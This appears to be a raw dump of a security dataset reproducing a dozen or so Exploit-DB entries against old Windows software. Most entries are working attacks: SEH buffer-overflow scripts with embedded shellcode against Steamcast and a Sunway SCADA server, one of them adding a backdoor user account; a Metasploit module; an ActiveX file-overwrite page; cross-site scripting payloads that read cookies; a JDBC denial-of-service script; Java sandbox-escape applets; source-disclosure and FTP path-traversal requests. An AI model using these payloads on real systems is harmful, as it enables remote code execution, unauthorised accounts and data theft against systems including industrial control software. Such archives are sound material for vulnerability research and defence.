deardaniel/secdata-raw huggingface dataset:
Exploit-DB #8421
Description: Steamcast - HTTP Request Remote Buffer Overflow (SEH) (1)
Type: remote
Platform: windows
Date: 2009-04-13
Author: His0k4

Exploit:
#!/usr/bin/python
#[*] Usage   : steamcast.py [victime_ip]
#[*] Bug     : Steamcast(HTTP Request) Remote Buffer Overflow Exploit (SEH) [1]
#[*] Founder : Luigi Auriemma, thx to overflow3r for informing me about the vuln.        
#[*] Tested on :    Xp sp2 (fr)
#[*] Exploited by : His0k4
#[*] Greetings :    All friends & muslims HaCkErs (DZ),snakespc.com,secdz.com
#[*] Chi3arona houa : Serra7 merra7,koulchi mderra7 :D
#[*] Translate by Cyb3r-1st : esse7 embe7 embou :p

#Note : The problem is that we need to find a dll wich its not compiled with GS, in my case i founded idmmbc its a loaded dll of internet download manager so try to find an unsafe dll.

import sys, socket
import struct

host = sys.argv[1]
port = 8000

# win32_exec -  EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
shellcode=(
"\x2b\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xc6"
"\x90\xb4\x70\x83\xeb\xfc\xe2\xf4\x3a\x78\xf0\x70\xc6\x90\x3f\x35"
"\xfa\x1b\xc8\x75\xbe\x91\x5b\xfb\x89\x88\x3f\x2f\xe6\x91\x5f\x39"
"\x4d\xa4\x3f\x71\x28\xa1\x74\xe9\x6a\x14\x74\x04\xc1\x51\x7e\x7d"
"\xc7\x52\x5f\x84\xfd\xc4\x90\x74\xb3\x75\x3f\x2f\xe2\x91\x5f\x16"
"\x4d\x9c\xff\xfb\x99\x8c\xb5\x9b\x4d\x8c\x3f\x71\x2d\x19\xe8\x54"
"\xc2\x53\x85\xb0\xa2\x1b\xf4\x40\x43\x50\xcc\x7c\x4d\xd0\xb8\xfb"
"\xb6\x8c\x19\xfb\xae\x98\x5f\x79\x4d\x10\x04\x70\xc6\x90\x3f\x18"
"\xfa\xcf\x85\x86\xa6\xc6\x3d\x88\x45\x50\xcf\x20\xae\x60\x3e\x74"
"\x99\xf8\x2c\x8e\x4c\x9e\xe3\x8f\x21\xf3\xd5\x1c\xa5\x90\xb4\x70")

exploit = "\x41"*1003 + "\xEB\x06\x90\x90" + "\xDB\x27\x02\x10" + "\x90"*20 + shellcode

while 1:
	s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((host, port))
	head =  "GET / HTTP/1.1\r\n"
	head += "Host: "+host+"\r\n"
	head += exploit+"\r\n"
	head += "\r\n\r\n"

	s.send(head)

# milw0rm.com [2009-04-13]
Exploit-DB #8422
Description: Steamcast - HTTP Request Remote Buffer Overflow (SEH) (2)
Type: remote
Platform: windows
Date: 2009-04-13
Author: His0k4

Exploit:
#!/usr/bin/python
#[*] Usage   : steamcast.py [victime_ip]
#[*] Bug     : Steamcast(HTTP Request) Remote Buffer Overflow Exploit (SEH) [2]
#[*] Founder : Luigi Auriemma, thx to overflow3r for informing me about the vuln.        
#[*] Tested on :    Xp sp2 (fr)
#[*] Exploited by : His0k4
#[*] Greetings :    All friends & muslims HaCkErs (DZ),snakespc.com,secdz.com
#[*] Chi3arona houa : Serra7 merra7,koulchi mderra7 :D
#[*] Translate by Cyb3r-1st : esse7 embe7 embou :p

#Short Description : The previous exploit runs  small shellcodes only, this one is the opposite :)
#Note : The problem is that we need to find a dll wich its not compiled with GS, in my case i founded idmmbc its a loaded dll of internet download manager so try to find an unsafe dll.
#Other note : The shellcode will be executed when the program will be closed.
#Another one : When you have problems with running the exploit msg me before you msg str0ke.

import sys, socket
import struct

host = sys.argv[1] 
port = 8000


# win32_adduser -  PASS=27 EXITFUNC=seh USER=dz Size=228 Encoder=PexFnstenvSub http://metasploit.com
shellcode=(
"\x44\x7A\x32\x37\x44\x7A\x32\x37\x29\xc9\x83\xe9\xcd\xd9\xee\xd9"
"\x74\x24\xf4\x5b\x81\x73\x13\x05\x16\xf2\x06\x83\xeb\xfc\xe2\xf4"
"\xf9\xfe\xb6\x06\x05\x16\x79\x43\x39\x9d\x8e\x03\x7d\x17\x1d\x8d"
"\x4a\x0e\x79\x59\x25\x17\x19\x4f\x8e\x22\x79\x07\xeb\x27\x32\x9f"
"\xa9\x92\x32\x72\x02\xd7\x38\x0b\x04\xd4\x19\xf2\x3e\x42\xd6\x02"
"\x70\xf3\x79\x59\x21\x17\x19\x60\x8e\x1a\xb9\x8d\x5a\x0a\xf3\xed"
"\x8e\x0a\x79\x07\xee\x9f\xae\x22\x01\xd5\xc3\xc6\x61\x9d\xb2\x36"
"\x80\xd6\x8a\x0a\x8e\x56\xfe\x8d\x75\x0a\x5f\x8d\x6d\x1e\x19\x0f"
"\x8e\x96\x42\x06\x05\x16\x79\x6e\x39\x49\xc3\xf0\x65\x40\x7b\xfe"
"\x86\xd6\x89\x56\x6d\xe6\x78\x02\x5a\x7e\x6a\xf8\x8f\x18\xa5\xf9"
"\xe2\x75\x9f\x62\x2b\x73\x8a\x63\x25\x39\x91\x26\x6b\x73\x86\x26"
"\x70\x65\x97\x74\x25\x72\x88\x26\x37\x21\xd2\x29\x44\x52\xb6\x26"
"\x23\x30\xd2\x68\x60\x62\xd2\x6a\x6a\x75\x93\x6a\x62\x64\x9d\x73"
"\x75\x36\xb3\x62\x68\x7f\x9c\x6f\x76\x62\x80\x67\x71\x79\x80\x75"
"\x25\x72\x88\x26\x2a\x57\xb6\x42\x05\x16\xf2\x06")

shellunt=(
"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x44\x7A\x32\x37\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")


exploit = "\x90"*(1003-len(shellcode)) + shellcode + "\xEB\x06\x90\x90" + "\xDB\x27\x02\x10" + "\x90"*20 + shellunt

#It needs a loop to works
while 1:
	s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((host, port))
	head =  "GET / HTTP/1.1\r\n"
	head += "Host: "+host+"\r\n"
	head += exploit+"\r\n"
	head += "\r\n\r\n"

	s.send(head)

# milw0rm.com [2009-04-13]
Exploit-DB #16800
Description: Streamcast 0.9.75 - HTTP User-Agent Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-06-11
Author: Metasploit

Exploit:
##
# $Id: steamcast_useragent.rb 9488 2010-06-11 16:12:05Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Streamcast <= 0.9.75 HTTP User-Agent Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in Streamcast <= 0.9.75. By sending
					an overly long User-Agent in an HTTP GET request, an attacker may be able to
					execute arbitrary code.
			},
			'Author'         => 	[
								'LSO <lso[@]hushmail.com>', # Original exploit module
								'patrick' # Added references and check code. Default target to XP.
							],
			'License'        => BSD_LICENSE,
			'Version'        => '$Revision: 9488 $',
			'References'     =>
				[
					[ 'CVE', '2008-0550' ],
					[ 'OSVDB', '42670' ],
					[ 'URL', 'http://aluigi.altervista.org/adv/steamcazz-adv.txt'],
					# [ 'BID', '' ], # No entry as yet
				],
			'Privileged'     => false,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 750,
					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
					'StackAdjustment' => -3500,
					'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
					'DisableNops'  =>  'True',
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					# Tested OK by patrick 20090225
					[ 'Windows 2000 Pro English All', { 'Ret' => 0x75022ac4 } ],
					[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],
				],
			'DisclosureDate' => 'Jan 24 2008',
			'DefaultTarget' => 1))

			register_options([ Opt::RPORT(8000) ], self)
	end

	def check
		connect
		sock.put("GET / HTTP/1.0\r\n\r\n")
		res = sock.get(-1, 3)
		disconnect

		if (res =~ /Steamcast\/0.9.75/)
			return Exploit::CheckCode::Vulnerable
		end
		return Exploit::CheckCode::Safe
	end

	def exploit
		connect

		juju =  "GET / HTTP/1.0\r\n"
		juju << "User-Agent: " + make_nops(1008 - payload.encoded.length)
		juju << payload.encoded + Rex::Arch::X86.jmp_short(6) + make_nops(2)
		juju << [ target.ret ].pack('V') + [0xe8, -850].pack('CV')
		juju <<  rand_text_alpha_upper(275)

		print_status("Trying target #{target.name}...")
		sock.put(juju + "\r\n\r\n")

		handler
		disconnect
	end

end
Exploit-DB #36049
Description: StudioLine Photo Basic 3.70.34.0 - 'NMSDVDXU.dll' ActiveX Control Arbitrary File Overwrite
Type: remote
Platform: windows
Date: 2011-08-17
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/49192/info

StudioLine Photo Basic ActiveX is prone to an arbitrary-file-overwrite vulnerability.

Attackers can overwrite arbitrary files on the victim's computer in the context of the vulnerable application using the ActiveX control (typically Internet Explorer).

StudioLine Photo Basic 3.70.34.0 is vulnerable; other versions may also be affected. 

<html> <object classid='clsid:C2FBBB5F-6FF7-4F6B-93A3-7EDB509AA938' id='target' /></object> <input language=VBScript onclick=Boom() type=button value="Exploit"> <script language = 'vbscript'> Sub Boom() arg1="FilePath\File_name_to_corrupt_or_create" arg2=True target.EnableLog arg1 ,arg2 End Sub </script> </html>
Exploit-DB #21581
Description: Summit Computer Networks Lil' HTTP Server 2 - 'URLCount.cgi' HTML Injection
Type: remote
Platform: windows
Date: 2002-06-27
Author: Matthew Murphy

Exploit:
source: https://www.securityfocus.com/bid/5115/info

Lil' HTTP server is a web server application for Windows environments and is maintained by Summit Computer Networks.

Reportedly, Lil' HTTP Server is vulnerable to HTML injection attacks.

The vulnerability is present in the 'REPORT' function found in the 'urlcount.cgi' script. While the CGI does filter script tags, other HTML elements are not sufficiently sanitized, allowing for arbitrary HTML to be injected into the reports page.

http://target/urlcount.cgi?%3CIMG%20SRC%3D%22%22%20ONERROR%3D%22alert%28%27xss%27%29%22%3E

This will affect web users who visit the reports page:

http://target/urlcount.cgi?REPORT
Exploit-DB #21611
Description: Summit Computer Networks Lil' HTTP Server 2.1/2.2 - 'pbcgi.cgi' Cross-Site Scripting
Type: remote
Platform: windows
Date: 2002-07-11
Author: Matthew Murphy

Exploit:
source: https://www.securityfocus.com/bid/5211/info

Lil' HTTP server is a web server application for Windows environments and is maintained by Summit Computer Networks.

It is possible for attackers to construct a URL to the 'pbcgi.cgi' script which includes scripting code to execute in a user's browser. As a result, when an innocent user follows such a link, the script code will execute within the context of the hosted site. 

http://localhost:81/pbcgi.cgi?name=Matthew%20Murphy&email=%3CSCRIPT%3Ealert%28%27xss%27%29%3B%3C%2FSCRIPT%3E
Exploit-DB #23552
Description: Sun J2EE/RI 1.4 / Sun JDK 1.4.2 - JDBC Database Insecure Default Policy
Type: remote
Platform: windows
Date: 2004-01-19
Author: Marc Schoenefeld

Exploit:
source: https://www.securityfocus.com/bid/9444/info

It has been reported that multiple JDBC database implementations include insecure default security policies. This could expose vulnerable databases to denial of service attacks. This could also permit remote attackers to execute arbitrary commands on systems hosting vulnerable implementations in some circumstances.

======================build.xml=======================

.(.!-- pointbase denial-of-service by marc schoenefeld --".).

.(.project default="dos".).

.(.property name="host" value="192.168.0.7"/.).

.(.target name="dos".).
.(.sql
driver="com.pointbase.jdbc.jdbcUniversalDriver"
url="jdbc:pointbase://${host}:9092/sample"
userid="pbpublic"
[CREDENTIAL_REDACTED]"
print="true"
.).
.(.![CDATA[
//DROP FUNCTION CRASH5(VARCHAR(20));
CREATE FUNCTION CRASH5(IN P1 VARCHAR(20)) RETURNS VARCHAR(20) LANGUAGE JAVA
NO SQL EXTERNAL NAME "sun.misc.MessageUtils::toStderr" PARAMETER STYLE SQL;
SELECT CRASH5(null) from SYSUSERS;
]].).
.(.classpath.).
.(.pathelement location="pbclient.jar"/.).
.(./classpath.).

.(./sql.).

.(./target.).

.(./project.).


======================build.xml=======================
Exploit-DB #23270
Description: Sun Java Plugin 1.4 - Unauthorized Java Applet Floppy Access
Type: remote
Platform: windows
Date: 2003-10-21
Author: Marc Schoenefeld

Exploit:
source: https://www.securityfocus.com/bid/8867/info

A weakness has been reported in Java implementations that may constitute unauthorized access by Java applets to floppy devices. This weakness appears to present a flaw in the Java security model.

This issue was reported in Java Plug-in 1.4.x versions on Microsoft Windows operating systems, when run with Internet Explorer. Other environments and versions may also be affected.

import java.awt.Label;

public class MyFloppySucks extends java.applet.Applet {
private Label m_labVersionVendor;
public MyFloppySucks () //constructor
{
m_labVersionVendor = new Label ("Java Floppy Stress Testing Applet,
(2003) www.illegalaccess.org" +" / Java Version: " +
System.getProperty("java.version")+
" from "+System.getProperty("java.vendor"));
this.add(m_labVersionVendor);
}
public void paint(java.awt.Graphics g) {
while (1==1)
try {

org.apache.crimson.tree.XmlDocument.createXmlDocument("file:///a:/",false);
}
catch (Exception e) {
System.out.println("Java Floppy Stress Testing Applet,
(2003) www.illegalaccess.org");
}
}
}
Exploit-DB #23265
Description: Sun Java Plugin 1.4.2 _01 - Cross-Site Applet Sandbox Security Model Violation
Type: remote
Platform: windows
Date: 2003-10-20
Author: Marc Schoenefeld

Exploit:
source: https://www.securityfocus.com/bid/8857/info

A vulnerability has been reported in Java implementations that may potentially allow Java applets from two different domains to violate the sandbox security model and share read/write access to data areas. This violates the principle of isolation that should be enforced by Java and it is possible for unsigned applets to gain unauthorized access to data used by signed applets.

This issue was reported for Java Plug-in 1.4.2_01 on Microsoft Windows platforms, though it is believed that other platforms are similarly affected. It is not known if other versions or Java implementations are also affected.

Two applets,
- one on siteA: www.siteA.org => Read.html / ReadApplet.class
- one on siteB: www.siteB.org => Write.html / WriteApplet.class

Applet from siteB can share a variable also accessible (read and write)
which is used by siteA. So data protection is not guaranteed, an unsigned
applet may grab data stored in this variable by a signed applet
or interfere it's XML processing and therefore violates the isolation
restriction of the sandbox.

==========READAPPLET=========================
/* Illegalaccess.org java exploit */
/* coded by Marc Schoenefeld */

import java.awt.Graphics;

public class ReadApplet extends java.applet.Applet {

public void paint(Graphics g)
{

System.out.println(org.apache.xalan.processor.XSLProcessorVersion.S_VERSION);
}

static {

System.out.println(org.apache.xalan.processor.XSLProcessorVersion.S_VERSION);
}
}
==========READAPPLET=========================

==========WRITEAPPLET=========================
import java.awt.Graphics;


public class WriteApplet extends java.applet.Applet {
public void paint(Graphics g)
{
org.apache.xalan.processor.XSLProcessorVersion.S_VERSION += "a";
}


static {
org.apache.xalan.processor.XSLProcessorVersion.S_VERSION = "altered
from
SiteA";
}
}
==========WRITEAPPLET=========================


=========Write.html============================
<HTML>
<BODY BGCOLOR=#66FF66>
<PRE>
WriteApplet, write to variable
Marc (marc@org.illegalaccess)
</PRE>
<applet codebase=. code=WriteApplet.class width=100 height=100>
</applet>
</BODY>
</HTML>

========Read.html=============================
<HTML>
<BODY BGCOLOR=#6666FF>
<PRE>
ReadApplet, read from variable
Marc (marc@org.illegalaccess)
</PRE>
<applet codebase=. code=ReadApplet.class width=100 height=100>
</applet>
</BODY>
</HTML>
Exploit-DB #20375
Description: Sun Java Web Server 1.1 Beta - Viewable .jhtml Source
Type: remote
Platform: windows
Date: 1997-07-16
Author: Brian Krahmer

Exploit:
source: https://www.securityfocus.com/bid/1891/info

A vulnerability exists in Sun Microsystems' JavaWebServer for Win32, version 1.1Beta. JavaWebServer is a Java-oriented web application development platform.

If a URL is submitted requesting a .jhtml file (an HTML document with embedded Java source) and a '.' or '/' character is appended to the filename, the source for that .jhtml file will be returned to the client, rather than being compiled on the server. As a result, system information which is not intended for disclosure to the client, such as database usernames and passwords, resource locations, website and network structure and business models, may be obtained by the attacker. As well as its inherent sensitivity, this type of information could potentially be used to implement other attacks on the host.

http://localhost/xyz.jhtml. 

or 

http://localhost/xyz.jhtml\
Exploit-DB #22665
Description: Sun ONE Application Server 7.0 - Error Message Cross-Site Scripting
Type: remote
Platform: windows
Date: 2003-05-27
Author: SPI Labs

Exploit:
source: https://www.securityfocus.com/bid/7710/info

Sun ONE Application Server has been reported prone to a cross-site scripting vulnerability.

Sun ONE Application Server does not adequately filter script code from URL parameters, making it prone to cross-site scripting attacks. Attacker-supplied script code may be included in a malicious link to a JSP application hosted on the vulnerable server. Under some circumstances if this link is followed the code will be executed in the browser of the web user who visits the link.

This issue affects a sample script supplied with the server. The vendor has reported that the sample application 'webapps-simple' affected by this issue is not enabled by default.

This vulnerability has been reported to affect Sun ONE Application Server 6.1, 6.1 Service Pack 1, and 7.0 on Windows platforms. 

GET /webapps-simple/jsp/source.jsp?<script>alert(document.cookie)</script>
HTTP/1.0
Exploit-DB #22664
Description: Sun ONE Application Server 7.0 - Source Disclosure
Type: remote
Platform: windows
Date: 2003-05-27
Author: SPI Labs

Exploit:
source: https://www.securityfocus.com/bid/7709/info

Sun ONE Application Server is prone to a source code disclosure vulnerability. This issue is due to handling of case in requests for resources. By changing the case of a file extension, the server may fail to interpret the script and instead serve it as a normal web resource.

This issue exists for Sun ONE Application Server 7.0 on Microsoft Windows platforms. Previous versions may also be affected. 

GET /[script].JSP HTTP/1.0

where [script] is the name of a script hosted by the server.
Exploit-DB #9096
Description: Sun One WebServer 6.1 - .JSP Source Viewing
Type: remote
Platform: windows
Date: 2009-07-09
Author: kingcope

Exploit:
Sun One WebServer 6.1 JSP Source Viewing vulnerability

System: Sun-ONE-Web-Server/6.1, Windows Server 2003

SunOne WebServer (formerly Netscape Enterprise Server, iPlanet) on Windows Systems lets remote people disclose
JSP Source code.

A normal URL would look like:

http://server/hello.jsp

To disclose the contents including source code of a JSP file:

http://server/hello.jsp::$DATA

Best Regards,

Nikolaos Rangos

# milw0rm.com [2009-07-09]
Exploit-DB #20653
Description: SunFTP 1.0 Build 9 - Unauthorized File Access
Type: remote
Platform: windows
Date: 2001-03-02
Author: se00020

Exploit:
source: https://www.securityfocus.com/bid/2428/info

SunFTP is a freeware ftp server written by Rasmus J.P. Allenheim and associates for the Windows platform.

SunFTP contains a vulnerability that may allow ftp users to compromise the server. Users may be able to upload or retrieve files from outside the protected ftp-root directory.

This could allow, for example, users to place trojan horse programs on the system and gain control. 

Using this vulnerability to retrieve a file from outside the ftp-root (sunftptest.txt):

ftp> get ../sunftptest.txt
200 Port command successful.
150 Opening data connection for ../sunftptest.txt.
226 File sent ok

Using this vulnerability to place a file on the target filesystem outside the ftp-root (../autorun.bat):

ftp> put
Lokale Datei c:\test.txt
Remotedatei ../autorun.bat
Exploit-DB #17721
Description: Sunway Force Control SCADA 6.1 SP3 - 'httpsrv.exe' Remote Overflow
Type: remote
Platform: windows
Date: 2011-08-26
Author: Canberk BOLAT

Exploit:
# Sunway Force Control SCADA httpsvr.exe Exploit
# Exploitable with simple SEH Overwrite technique
# Tested on XP SP0 English
# Probably will work on XP SP3 if you find none-safeseh dll for p/p/r pointer
# Canberk BOLAT | @cnbrkbolat
# cbolat.blogspot.com 
# for fun ;)
#
# notez: other payloads not working stable because of memory region's status.
# i tested meterpreter/bind_tcp and others some of them not work because of
# trying to write to unwritable memory regions.
# if you write some asm for changing access protection of memory region
# it can be work. try it, do it!
#
# Vendor: http://www.sunwayland.com.cn/

def send(packet)
	begin
		sock = TCPSocket.new(@ip, @port)
		sock.write(packet)
	rescue Exception => e
		return false
	else
		resp = sock.recv(1024) 
		sock.close
		
		return true
	end
end

@ip = ARGV[0]
@port = 80

# windows/exec CMD=calc.exe
shellcode = "\xb8\xd5\x45\x06\xc4\xda\xde\xd9\x74\x24\xf4\x5b\x33\xc9" +
			"\xb1\x33\x31\x43\x12\x03\x43\x12\x83\x3e\xb9\xe4\x31\x3c" +
			"\xaa\x60\xb9\xbc\x2b\x13\x33\x59\x1a\x01\x27\x2a\x0f\x95" +
			"\x23\x7e\xbc\x5e\x61\x6a\x37\x12\xae\x9d\xf0\x99\x88\x90" +
			"\x01\x2c\x15\x7e\xc1\x2e\xe9\x7c\x16\x91\xd0\x4f\x6b\xd0" +
			"\x15\xad\x84\x80\xce\xba\x37\x35\x7a\xfe\x8b\x34\xac\x75" +
			"\xb3\x4e\xc9\x49\x40\xe5\xd0\x99\xf9\x72\x9a\x01\x71\xdc" +
			"\x3b\x30\x56\x3e\x07\x7b\xd3\xf5\xf3\x7a\x35\xc4\xfc\x4d" +
			"\x79\x8b\xc2\x62\x74\xd5\x03\x44\x67\xa0\x7f\xb7\x1a\xb3" +
			"\xbb\xca\xc0\x36\x5e\x6c\x82\xe1\xba\x8d\x47\x77\x48\x81" +
			"\x2c\xf3\x16\x85\xb3\xd0\x2c\xb1\x38\xd7\xe2\x30\x7a\xfc" +
			"\x26\x19\xd8\x9d\x7f\xc7\x8f\xa2\x60\xaf\x70\x07\xea\x5d" +
			"\x64\x31\xb1\x0b\x7b\xb3\xcf\x72\x7b\xcb\xcf\xd4\x14\xfa" +
			"\x44\xbb\x63\x03\x8f\xf8\x9c\x49\x92\xa8\x34\x14\x46\xe9" +
			"\x58\xa7\xbc\x2d\x65\x24\x35\xcd\x92\x34\x3c\xc8\xdf\xf2" +
			"\xac\xa0\x70\x97\xd2\x17\x70\xb2\xb0\xf6\xe2\x5e\x19\x9d" +
			"\x82\xc5\x65"
			
payload = "H" * 1599
payload << "\xeb\x06\x90\x90" # Pointer to Next SE Handler
payload << [0x719737FA].pack("V*") # SEH Handler - p/p/r
payload << "\x90" * 40
payload << shellcode
payload << "\x90" * (4058 - shellcode.length)

pack = "GET /#{payload} HTTP/1.1\r\n"
pack << "Host: http://#{@ip}:#{@port}\r\n\r\n"

puts "packet sended." if send(pack)